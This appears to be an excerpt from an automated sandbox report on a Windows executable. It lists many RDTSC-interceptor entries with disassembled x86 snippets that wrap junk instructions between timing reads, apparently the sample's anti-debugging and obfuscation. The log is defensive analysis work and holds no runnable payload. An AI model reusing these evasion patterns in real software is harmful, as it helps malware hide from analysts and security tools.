Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB53D second address: 9CB54D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB833 second address: 9CB887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F7F91348E28h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D270Bh] 0x00000028 push 00000004h 0x0000002a jmp 00007F7F91348E32h 0x0000002f cld 0x00000030 push eax 0x00000031 jl 00007F7F91348E32h 0x00000037 jo 00007F7F91348E2Ch 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CBE1A second address: 9CBE43 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F9153F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F7F9153F87Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jmp 00007F7F9153F87Bh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CBE43 second address: 9CBE68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F7F91348E33h 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CBE68 second address: 9CBE77 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CBF33 second address: 9CBF80 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F91348E2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d cmc 0x0000000e lea eax, dword ptr [ebp+12481A49h] 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F7F91348E28h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1BBFh], eax 0x00000034 nop 0x00000035 push eax 0x00000036 push edx 0x00000037 jns 00007F7F91348E28h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CBF80 second address: 9CBFA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F7F9153F87Ch 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9833C6 second address: 9833D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 je 00007F7F91348E26h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F44A2 second address: 9F44A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4B83 second address: 9F4B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4B87 second address: 9F4BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7F9153F876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F7F9153F887h 0x00000011 jmp 00007F7F9153F87Fh 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4BC0 second address: 9F4BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F7F91348E2Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4BD0 second address: 9F4BEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7F9153F884h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4D50 second address: 9F4D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4D56 second address: 9F4D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4D5B second address: 9F4D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4D61 second address: 9F4D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4D67 second address: 9F4D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4D6B second address: 9F4D7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7F9153F87Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9FA4C0 second address: 9FA4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9FA4C4 second address: 9FA4C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9FA4C8 second address: 9FA4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F91348E2Ah 0x0000000b pop eax 0x0000000c jbe 00007F7F91348E30h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 97C93A second address: 97C940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 97C940 second address: 97C945 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9FEA3A second address: 9FEA4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F9153F87Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9FE5D4 second address: 9FE5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9FE5DA second address: 9FE5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9FF4A7 second address: 9FF4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9FF64E second address: 9FF652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9FF946 second address: 9FF958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F7F91348E2Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A05487 second address: A054BF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7F9153F88Fh 0x00000008 jmp 00007F7F9153F87Ah 0x0000000d jmp 00007F7F9153F87Fh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F7F9153F881h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A054BF second address: A054D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03EBD second address: A03EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03EC1 second address: A03ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7F91348E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03ECD second address: A03ED7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7F9153F87Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A04236 second address: A0423B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A044DC second address: A044E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A047B0 second address: A047B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A047B4 second address: A047BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A047BA second address: A047C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A047C0 second address: A047E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F888h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F7F9153F87Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A04DE8 second address: A04E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F91348E38h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A04E06 second address: A04E0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A052BA second address: A052D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F91348E35h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A052D7 second address: A052DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03B45 second address: A03B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03B4B second address: A03B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03B4F second address: A03B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03B53 second address: A03B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7F9153F87Ah 0x0000000c jmp 00007F7F9153F889h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03B7F second address: A03B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03B84 second address: A03BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F9153F886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03BA0 second address: A03BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A03BA4 second address: A03BCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7F9153F884h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jp 00007F7F9153F876h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A08603 second address: A08607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A08607 second address: A0860B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A0ABDF second address: A0ABFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7F91348E26h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F7F91348E30h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 984DF9 second address: 984DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 984DFF second address: 984E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007F7F91348E26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 984E0D second address: 984E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 984E1D second address: 984E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A0A864 second address: A0A884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F7F9153F887h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A0A884 second address: A0A88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A0A88A second address: A0A8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F9153F87Ah 0x00000009 popad 0x0000000a jmp 00007F7F9153F87Fh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jp 00007F7F9153F876h 0x00000019 jmp 00007F7F9153F87Fh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A0A8C3 second address: A0A8C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A0DB28 second address: A0DB32 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7F9153F876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A0DB32 second address: A0DB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A0D512 second address: A0D52C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F884h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 989EEB second address: 989EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7F91348E26h 0x0000000a pop edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A11497 second address: A114A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F7F9153F876h 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A15F33 second address: A15F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A165E2 second address: A165E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A165E6 second address: A165EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A16718 second address: A1671E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1C533 second address: A1C539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1C539 second address: A1C543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1AE9E second address: A1AEA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1AEA2 second address: A1AEA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1AFEA second address: A1B012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F7F91348E26h 0x0000000c popad 0x0000000d jp 00007F7F91348E28h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a jnc 00007F7F91348E2Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1B012 second address: A1B020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push edx 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1B5A8 second address: A1B5C8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F7F91348E32h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F7F91348E2Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1B5C8 second address: A1B5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F7F9153F876h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB9DA second address: 9CBA53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F91348E2Ah 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push ecx 0x00000010 mov edx, 53A5FDB0h 0x00000015 pop edi 0x00000016 mov ebx, dword ptr [ebp+12481A44h] 0x0000001c push ebx 0x0000001d pop edx 0x0000001e mov dword ptr [ebp+1244AE9Ah], edi 0x00000024 add eax, ebx 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F7F91348E28h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 pushad 0x00000041 mov dword ptr [ebp+124510B5h], ecx 0x00000047 jmp 00007F7F91348E2Eh 0x0000004c popad 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jnp 00007F7F91348E31h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CBA53 second address: 9CBA97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jne 00007F7F9153F878h 0x00000012 push 00000004h 0x00000014 jg 00007F7F9153F87Ch 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7F9153F889h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1C25C second address: A1C27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F7F91348E37h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1C27E second address: A1C29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7F9153F883h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1C29E second address: A1C2B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E2Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A1C2B9 second address: A1C2BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A23BA2 second address: A23BB0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7F91348E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
